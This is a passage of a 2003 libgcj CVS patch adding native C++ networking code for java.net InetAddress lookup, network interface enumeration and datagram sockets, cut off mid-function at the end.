Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressNoNet.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,35 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#include + +jbyteArray +java::net::InetAddress::aton (jstring) +{ + return NULL; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + return 0; +} + +JArray * +java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) +{ + return NULL; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + return NULL; +} Index: java/net/natInetAddressPosix.cc =================================================================== RCS file: java/net/natInetAddressPosix.cc diff -N java/net/natInetAddressPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressPosix.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,311 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include + +#include +#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif + +#include +#include +#include +#include +#include + +#if defined(HAVE_UNAME) && ! defined(HAVE_GETHOSTNAME) +#include +#endif + +#ifndef HAVE_GETHOSTNAME_DECL +extern "C" int gethostname (char *name, int namelen); +#endif + +jbyteArray +java::net::InetAddress::aton (jstring host) +{ + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; + char* bytes = NULL; + int blen = 0; +#ifdef HAVE_INET_ATON + struct in_addr laddr; + if (inet_aton (hostname, &laddr)) + { + bytes = (char*) &laddr; + blen = 4; + } +#elif defined(HAVE_INET_ADDR) +#if ! HAVE_IN_ADDR_T + typedef jint in_addr_t; +#endif + in_addr_t laddr = inet_addr (hostname); + if (laddr != (in_addr_t)(-1)) + { + bytes = (char*) &laddr; + blen = 4; + } +#endif +#if defined (HAVE_INET_PTON) && defined (HAVE_INET6) + char inet6_addr[16]; + if (len != 0 && inet_pton (AF_INET6, hostname, inet6_addr) > 0) + { + bytes = inet6_addr; + blen = 16; + } +#endif + if (blen == 0) + return NULL; + jbyteArray result = JvNewByteArray (blen); + memcpy (elements (result), bytes, blen); + return result; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + int len = bytes->length; + if (len == 4) + return AF_INET; +#ifdef HAVE_INET6 + else if (len == 16) + return AF_INET6; +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); +} + + +JArray * +java::net::InetAddress::lookup (jstring host, java::net::InetAddress* iaddr, + jboolean all) +{ + struct hostent *hptr = NULL; +#if defined (HAVE_GETHOSTBYNAME_R) || defined (HAVE_GETHOSTBYADDR_R) + struct hostent hent_r; +#if HAVE_STRUCT_HOSTENT_DATA + struct hostent_data fixed_buffer, *buffer_r = &fixed_buffer; +#else +#if defined (__GLIBC__) + // FIXME: in glibc, gethostbyname_r returns NETDB_INTERNAL to herr and + // ERANGE to errno if the buffer size is too small, rather than what is + // expected here. We work around this by setting a bigger buffer size and + // hoping that it is big enough. + char fixed_buffer[1024]; +#else + char fixed_buffer[200]; +#endif + char *buffer_r = fixed_buffer; + int size_r = sizeof (fixed_buffer); +#endif +#endif + + if (host != NULL) + { + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; +#ifdef HAVE_GETHOSTBYNAME_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYNAME_R_RETURNS_INT + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r, size_r, + &hptr, &herr); +#else + hptr = gethostbyname_r (hostname, &hent_r, buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTNAME_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyname. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyname (hostname); +#endif /* HAVE_GETHOSTBYNAME_R */ + } + else + { + jbyteArray bytes = iaddr->addr; + char *chars = (char*) elements (bytes); + int len = bytes->length; + int type; + char *val; + if (len == 4) + { + val = chars; + type = iaddr->family = AF_INET; + } +#ifdef HAVE_INET6 + else if (len == 16) + { + val = (char *) &chars; + type = iaddr->family = AF_INET6; + } +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); + +#ifdef HAVE_GETHOSTBYADDR_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyaddr_r (val, len, type, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYADDR_R_RETURNS_INT + ok = ! gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &hptr, &herr); +#else + hptr = gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTBYADDR_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else /* HAVE_GETHOSTBYADDR_R */ + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyaddr. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyaddr (val, len, type); +#endif /* HAVE_GETHOSTBYADDR_R */ + } + if (hptr != NULL) + { + if (!all) + host = JvNewStringUTF (hptr->h_name); + java::lang::SecurityException *ex = checkConnect (host); + if (ex != NULL) + { + if (iaddr == NULL || iaddr->addr == NULL) + throw ex; + hptr = NULL; + } + } + if (hptr == NULL) + { + if (iaddr != NULL && iaddr->addr != NULL) + { + iaddr->hostName = iaddr->getHostAddress(); + return NULL; + } + else + throw new java::net::UnknownHostException(host); + } + int count; + if (all) + { + char** ptr = hptr->h_addr_list; + count = 0; + while (*ptr++) count++; + } + else + count = 1; + JArray *result; + java::net::InetAddress** iaddrs; + if (all) + { + result = java::net::InetAddress::allocArray (count); + iaddrs = elements (result); + } + else + { + result = NULL; + iaddrs = &iaddr; + } + + for (int i = 0; i < count; i++) + { + if (iaddrs[i] == NULL) + iaddrs[i] = new java::net::InetAddress (NULL, NULL); + if (iaddrs[i]->hostName == NULL) + iaddrs[i]->hostName = host; + if (iaddrs[i]->addr == NULL) + { + char *bytes = hptr->h_addr_list[i]; + iaddrs[i]->addr = JvNewByteArray (hptr->h_length); + iaddrs[i]->family = getFamily (iaddrs[i]->addr); + memcpy (elements (iaddrs[i]->addr), bytes, hptr->h_length); + } + } + return result; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + char *chars; +#ifdef HAVE_GETHOSTNAME + char buffer[MAXHOSTNAMELEN]; + if (gethostname (buffer, MAXHOSTNAMELEN)) + return NULL; + chars = buffer; +#elif HAVE_UNAME + struct utsname stuff; + if (uname (&stuff) != 0) + return NULL; + chars = stuff.nodename; +#else + return NULL; +#endif + // It is admittedly non-optimal to convert the hostname to Unicode + // only to convert it back in getByName, but simplicity wins. Note + // that unless there is a SecurityManager, we only get called once + // anyway, thanks to the InetAddress.localhost cache. + return JvNewStringUTF (chars); +} Index: java/net/natInetAddressWin32.cc =================================================================== RCS file: java/net/natInetAddressWin32.cc diff -N java/net/natInetAddressWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natInetAddressWin32.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,355 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#ifdef WIN32 + +#include +#include +#undef STRICT + +#ifndef MAXHOSTNAMELEN +#define MAXHOSTNAMELEN 64 +#endif /* MAXHOSTNAMELEN */ + +#else /* WIN32 */ + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include + +#include +#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif + +#endif /* WIN32 */ + +#include +#include +#include +#include +#include + +#if defined(HAVE_UNAME) && ! defined(HAVE_GETHOSTNAME) +#include +#endif + +#ifndef HAVE_GETHOSTNAME_DECL +extern "C" int gethostname (char *name, int namelen); +#endif + +#ifdef DISABLE_JAVA_NET + +jbyteArray +java::net::InetAddress::aton (jstring) +{ + return NULL; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + return 0; +} + +JArray * +java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) +{ + return NULL; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + return NULL; +} + +#else /* DISABLE_JAVA_NET */ + +jbyteArray +java::net::InetAddress::aton (jstring host) +{ + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; + char* bytes = NULL; + int blen = 0; +#ifdef HAVE_INET_ATON + struct in_addr laddr; + if (inet_aton (hostname, &laddr)) + { + bytes = (char*) &laddr; + blen = 4; + } +#elif defined(HAVE_INET_ADDR) +#if ! HAVE_IN_ADDR_T + typedef jint in_addr_t; +#endif + in_addr_t laddr = inet_addr (hostname); + if (laddr != (in_addr_t)(-1)) + { + bytes = (char*) &laddr; + blen = 4; + } +#endif +#if defined (HAVE_INET_PTON) && defined (HAVE_INET6) + char inet6_addr[16]; + if (len != 0 && inet_pton (AF_INET6, hostname, inet6_addr) > 0) + { + bytes = inet6_addr; + blen = 16; + } +#endif + if (blen == 0) + return NULL; + jbyteArray result = JvNewByteArray (blen); + memcpy (elements (result), bytes, blen); + return result; +} + +jint +java::net::InetAddress::getFamily (jbyteArray bytes) +{ + int len = bytes->length; + if (len == 4) + return AF_INET; +#ifdef HAVE_INET6 + else if (len == 16) + return AF_INET6; +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); +} + + +JArray * +java::net::InetAddress::lookup (jstring host, java::net::InetAddress* iaddr, + jboolean all) +{ + struct hostent *hptr = NULL; +#if defined (HAVE_GETHOSTBYNAME_R) || defined (HAVE_GETHOSTBYADDR_R) + struct hostent hent_r; +#if HAVE_STRUCT_HOSTENT_DATA + struct hostent_data fixed_buffer, *buffer_r = &fixed_buffer; +#else +#if defined (__GLIBC__) + // FIXME: in glibc, gethostbyname_r returns NETDB_INTERNAL to herr and + // ERANGE to errno if the buffer size is too small, rather than what is + // expected here. We work around this by setting a bigger buffer size and + // hoping that it is big enough. + char fixed_buffer[1024]; +#else + char fixed_buffer[200]; +#endif + char *buffer_r = fixed_buffer; + int size_r = sizeof (fixed_buffer); +#endif +#endif + + if (host != NULL) + { + char *hostname; + char buf[100]; + int len = JvGetStringUTFLength(host); + if (len < 100) + hostname = buf; + else + hostname = (char*) _Jv_AllocBytes (len+1); + JvGetStringUTFRegion (host, 0, host->length(), hostname); + buf[len] = '\0'; +#ifdef HAVE_GETHOSTBYNAME_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYNAME_R_RETURNS_INT + ok = ! gethostbyname_r (hostname, &hent_r, buffer_r, size_r, + &hptr, &herr); +#else + hptr = gethostbyname_r (hostname, &hent_r, buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTNAME_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyname. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyname (hostname); +#endif /* HAVE_GETHOSTBYNAME_R */ + } + else + { + jbyteArray bytes = iaddr->addr; + char *chars = (char*) elements (bytes); + int len = bytes->length; + int type; + char *val; + if (len == 4) + { + val = chars; + type = iaddr->family = AF_INET; + } +#ifdef HAVE_INET6 + else if (len == 16) + { + val = (char *) &chars; + type = iaddr->family = AF_INET6; + } +#endif /* HAVE_INET6 */ + else + JvFail ("unrecognized size"); + +#ifdef HAVE_GETHOSTBYADDR_R + while (true) + { + int ok; +#if HAVE_STRUCT_HOSTENT_DATA + ok = ! gethostbyaddr_r (val, len, type, &hent_r, buffer_r); +#else + int herr = 0; +#ifdef GETHOSTBYADDR_R_RETURNS_INT + ok = ! gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &hptr, &herr); +#else + hptr = gethostbyaddr_r (val, len, type, &hent_r, + buffer_r, size_r, &herr); + ok = hptr != NULL; +#endif /* GETHOSTBYADDR_R_RETURNS_INT */ + if (! ok && herr == ERANGE) + { + size_r *= 2; + buffer_r = (char *) _Jv_AllocBytes (size_r); + } + else +#endif /* HAVE_STRUCT_HOSTENT_DATA */ + break; + } +#else /* HAVE_GETHOSTBYADDR_R */ + // FIXME: this is insufficient if some other piece of code calls + // this gethostbyaddr. + JvSynchronize sync (java::net::InetAddress::localhostAddress); + hptr = gethostbyaddr (val, len, type); +#endif /* HAVE_GETHOSTBYADDR_R */ + } + if (hptr != NULL) + { + if (!all) + host = JvNewStringUTF (hptr->h_name); + java::lang::SecurityException *ex = checkConnect (host); + if (ex != NULL) + { + if (iaddr == NULL || iaddr->addr == NULL) + throw ex; + hptr = NULL; + } + } + if (hptr == NULL) + { + if (iaddr != NULL && iaddr->addr != NULL) + { + iaddr->hostName = iaddr->getHostAddress(); + return NULL; + } + else + throw new java::net::UnknownHostException(host); + } + int count; + if (all) + { + char** ptr = hptr->h_addr_list; + count = 0; + while (*ptr++) count++; + } + else + count = 1; + JArray *result; + java::net::InetAddress** iaddrs; + if (all) + { + result = java::net::InetAddress::allocArray (count); + iaddrs = elements (result); + } + else + { + result = NULL; + iaddrs = &iaddr; + } + + for (int i = 0; i < count; i++) + { + if (iaddrs[i] == NULL) + iaddrs[i] = new java::net::InetAddress (NULL, NULL); + if (iaddrs[i]->hostName == NULL) + iaddrs[i]->hostName = host; + if (iaddrs[i]->addr == NULL) + { + char *bytes = hptr->h_addr_list[i]; + iaddrs[i]->addr = JvNewByteArray (hptr->h_length); + iaddrs[i]->family = getFamily (iaddrs[i]->addr); + memcpy (elements (iaddrs[i]->addr), bytes, hptr->h_length); + } + } + return result; +} + +jstring +java::net::InetAddress::getLocalHostname () +{ + char *chars; +#ifdef HAVE_GETHOSTNAME + char buffer[MAXHOSTNAMELEN]; + if (gethostname (buffer, MAXHOSTNAMELEN)) + return NULL; + chars = buffer; +#elif HAVE_UNAME + struct utsname stuff; + if (uname (&stuff) != 0) + return NULL; + chars = stuff.nodename; +#else + return NULL; +#endif + // It is admittedly non-optimal to convert the hostname to Unicode + // only to convert it back in getByName, but simplicity wins. Note + // that unless there is a SecurityManager, we only get called once + // anyway, thanks to the InetAddress.localhost cache. + return JvNewStringUTF (chars); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natNetworkInterfaceNoNet.cc =================================================================== RCS file: java/net/natNetworkInterfaceNoNet.cc diff -N java/net/natNetworkInterfaceNoNet.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfaceNoNet.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,21 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include +#include +#include + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + throw new SocketException ( + JvNewStringLatin1 ("NetworkInterface.getrealNetworkInterfaces: unimplemented")); +} Index: java/net/natNetworkInterfacePosix.cc =================================================================== RCS file: java/net/natNetworkInterfacePosix.cc diff -N java/net/natNetworkInterfacePosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfacePosix.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,115 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include +#include + +#include +#include +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif + +#include +#include +#include +#include +#include +#include + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + int fd; + int num_interfaces = 0; + struct ifconf if_data; + struct ifreq* if_record; + ::java::util::Vector* ht = new ::java::util::Vector (); + + if_data.ifc_len = 0; + if_data.ifc_buf = NULL; + + // Open a (random) socket to have a file descriptor for the ioctl calls. + fd = _Jv_socket (PF_INET, SOCK_DGRAM, htons (IPPROTO_IP)); + + if (fd < 0) + throw new ::java::net::SocketException; + + // Get all interfaces. If not enough buffers are available try it + // with a bigger buffer size. + do + { + num_interfaces += 16; + + if_data.ifc_len = sizeof (struct ifreq) * num_interfaces; + if_data.ifc_buf = + (char*) _Jv_Realloc (if_data.ifc_buf, if_data.ifc_len); + + // Try to get all local interfaces. + if (::ioctl (fd, SIOCGIFCONF, &if_data) < 0) + throw new java::net::SocketException; + } + while (if_data.ifc_len >= (sizeof (struct ifreq) * num_interfaces)); + + // Get addresses of all interfaces. + if_record = if_data.ifc_req; + + for (int n = 0; n < if_data.ifc_len; n += sizeof (struct ifreq)) + { + struct ifreq ifr; + + memset (&ifr, 0, sizeof (ifr)); + strcpy (ifr.ifr_name, if_record->ifr_name); + + // Try to get the IPv4-address of the local interface + if (::ioctl (fd, SIOCGIFADDR, &ifr) < 0) + throw new java::net::SocketException; + + int len = 4; + struct sockaddr_in sa = *((sockaddr_in*) &(ifr.ifr_addr)); + + jbyteArray baddr = JvNewByteArray (len); + memcpy (elements (baddr), &(sa.sin_addr), len); + jstring if_name = JvNewStringLatin1 (if_record->ifr_name); + Inet4Address* address = + new java::net::Inet4Address (baddr, JvNewStringLatin1 ("")); + ht->add (new NetworkInterface (if_name, address)); + if_record++; + } + +#ifdef HAVE_INET6 + // FIXME: read /proc/net/if_inet6 (on Linux 2.4) +#endif + + _Jv_Free (if_data.ifc_buf); + + if (fd >= 0) + _Jv_close (fd); + + return ht; +} Index: java/net/natNetworkInterfaceWin32.cc =================================================================== RCS file: java/net/natNetworkInterfaceWin32.cc diff -N java/net/natNetworkInterfaceWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfaceWin32.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,142 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef WIN32 + +#include +#include +#undef STRICT + +#else /* WIN32 */ + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include +#include + +#include +#include +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif + +#endif /* WIN32 */ + +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + ::java::util::Vector* ht = new ::java::util::Vector(); + return ht; +} + +#else /* DISABLE_JAVA_NET */ + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ +#ifdef WIN32 + throw new ::java::net::SocketException; +#else + int fd; + int num_interfaces = 0; + struct ifconf if_data; + struct ifreq* if_record; + ::java::util::Vector* ht = new ::java::util::Vector (); + + if_data.ifc_len = 0; + if_data.ifc_buf = NULL; + + // Open a (random) socket to have a file descriptor for the ioctl calls. + fd = _Jv_socket (PF_INET, SOCK_DGRAM, htons (IPPROTO_IP)); + + if (fd < 0) + throw new ::java::net::SocketException; + + // Get all interfaces. If not enough buffers are available try it + // with a bigger buffer size. + do + { + num_interfaces += 16; + + if_data.ifc_len = sizeof (struct ifreq) * num_interfaces; + if_data.ifc_buf = + (char*) _Jv_Realloc (if_data.ifc_buf, if_data.ifc_len); + + // Try to get all local interfaces. + if (::ioctl (fd, SIOCGIFCONF, &if_data) < 0) + throw new java::net::SocketException; + } + while (if_data.ifc_len >= (sizeof (struct ifreq) * num_interfaces)); + + // Get addresses of all interfaces. + if_record = if_data.ifc_req; + + for (int n = 0; n < if_data.ifc_len; n += sizeof (struct ifreq)) + { + struct ifreq ifr; + + memset (&ifr, 0, sizeof (ifr)); + strcpy (ifr.ifr_name, if_record->ifr_name); + + // Try to get the IPv4-address of the local interface + if (::ioctl (fd, SIOCGIFADDR, &ifr) < 0) + throw new java::net::SocketException; + + int len = 4; + struct sockaddr_in sa = *((sockaddr_in*) &(ifr.ifr_addr)); + + jbyteArray baddr = JvNewByteArray (len); + memcpy (elements (baddr), &(sa.sin_addr), len); + jstring if_name = JvNewStringLatin1 (if_record->ifr_name); + Inet4Address* address = + new java::net::Inet4Address (baddr, JvNewStringLatin1 ("")); + ht->add (new NetworkInterface (if_name, address)); + if_record++; + } + +#ifdef HAVE_INET6 + // FIXME: read /proc/net/if_inet6 (on Linux 2.4) +#endif + + _Jv_Free (if_data.ifc_buf); + + if (fd >= 0) + _Jv_close (fd); + + return ht; +#endif /* WIN32 */ +} + +#endif // DISABLE_JAVA_NET // Index: java/net/natPlainDatagramSocketImplNoNet.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplNoNet.cc diff -N java/net/natPlainDatagramSocketImplNoNet.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplNoNet.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,119 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +void +java::net::PlainDatagramSocketImpl::create () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) +{ + throw new BindException ( + JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::close () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, + java::net::NetworkInterface *, + jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); +} Index: java/net/natPlainDatagramSocketImplPosix.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplPosix.cc diff -N java/net/natPlainDatagramSocketImplPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplPosix.cc 17 Mar 2003 19:55:13 -0000 @@ -0,0 +1,750 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#include +#include + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +union McastReq +{ +#if HAVE_STRUCT_IP_MREQ + struct ip_mreq mreq; +#endif +#if HAVE_STRUCT_IPV6_MREQ + struct ipv6_mreq mreq6; +#endif +}; + +union InAddr +{ + struct in_addr addr; +#ifdef HAVE_INET6 + struct in6_addr addr6; +#endif +}; + + +// FIXME: routines here and/or in natPlainSocketImpl.cc could throw +// NoRouteToHostException; also consider UnknownHostException, ConnectException. + +void +java::net::PlainDatagramSocketImpl::create () +{ + int sock = _Jv_socket (AF_INET, SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainDatagramSocketImpl::bind (jint lport, + java::net::InetAddress *host) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + // FIXME: Use getaddrinfo() to get actual protocol instead of assuming ipv4. + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localPort = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localPort = ntohs (u.address.sin_port); + else + goto error; + + /* Allow broadcast by default. */ + int broadcast = 1; + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &broadcast, + sizeof (broadcast)) != 0) + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::connect: not implemented yet")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::disconnect: not implemented yet")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *i) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + ssize_t retlen = + ::recvfrom (fnum, (char *) NULL, 0, MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 